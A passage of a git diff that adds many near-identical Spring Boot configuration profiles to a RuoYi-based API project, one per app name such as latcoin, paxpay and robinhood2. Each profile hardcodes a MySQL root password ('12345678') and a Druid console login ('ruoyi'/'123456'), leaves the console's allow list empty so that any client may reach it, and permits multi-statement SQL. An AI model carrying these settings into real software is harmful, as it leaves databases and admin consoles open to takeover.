+ maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmtoin2.yml b/ruoyi-api/src/main/resources/application-gmtoin2.yml new file mode 100644 index 0000000..656b63c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmtoin2.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-hfm.yml b/ruoyi-api/src/main/resources/application-hfm.yml new file mode 100644 index 0000000..dc9bd25 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-hfm.yml @@ -0,0 +1,96 @@ +app: + name: hfm +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-hfm2.yml b/ruoyi-api/src/main/resources/application-hfm2.yml new file mode 100644 index 0000000..83700d8 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-hfm2.yml @@ -0,0 +1,95 @@ +app: + name: hfm2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-idsst.yml b/ruoyi-api/src/main/resources/application-idsst.yml new file mode 100644 index 0000000..035ddfd --- /dev/null +++ b/ruoyi-api/src/main/resources/application-idsst.yml @@ -0,0 +1,95 @@ +app: + name: idsst +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/idsst?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-kabit.yml b/ruoyi-api/src/main/resources/application-kabit.yml new file mode 100644 index 0000000..e1150ea --- /dev/null +++ b/ruoyi-api/src/main/resources/application-kabit.yml @@ -0,0 +1,95 @@ +app: + name: kabit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/kabit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-latcoin.yml b/ruoyi-api/src/main/resources/application-latcoin.yml new file mode 100644 index 0000000..09f4e07 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-latcoin.yml @@ -0,0 +1,96 @@ +app: + name: latcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/latcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-math.yml b/ruoyi-api/src/main/resources/application-math.yml new file mode 100644 index 0000000..8061bae --- /dev/null +++ b/ruoyi-api/src/main/resources/application-math.yml @@ -0,0 +1,96 @@ +app: + name: math +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/math?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-paxpay.yml b/ruoyi-api/src/main/resources/application-paxpay.yml new file mode 100644 index 0000000..bce63c5 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-paxpay.yml @@ -0,0 +1,95 @@ +app: + name: paxpay +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9022 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/paxpay?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-robinhood2.yml b/ruoyi-api/src/main/resources/application-robinhood2.yml new file mode 100644 index 0000000..74ec73c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-robinhood2.yml @@ -0,0 +1,94 @@ +app: + name: robinhood2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/robinhood2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-rxce.yml b/ruoyi-api/src/main/resources/application-rxce.yml new file mode 100644 index 0000000..b3b8123 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-rxce.yml @@ -0,0 +1,95 @@ +app: + name: rxce +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/rxce?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-spark.yml b/ruoyi-api/src/main/resources/application-spark.yml new file mode 100644 index 0000000..5863daa --- /dev/null +++ b/ruoyi-api/src/main/resources/application-spark.yml @@ -0,0 +1,95 @@ +app: + name: spark +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/spark?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-terra.yml b/ruoyi-api/src/main/resources/application-terra.yml new file mode 100644 index 0000000..ccfa5ed --- /dev/null +++ b/ruoyi-api/src/main/resources/application-terra.yml @@ -0,0 +1,94 @@ +app: + name: terra +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/terra?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-ticbit.yml b/ruoyi-api/src/main/resources/application-ticbit.yml new file mode 100644 index 0000000..30b7dc3 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-ticbit.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ticbit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + 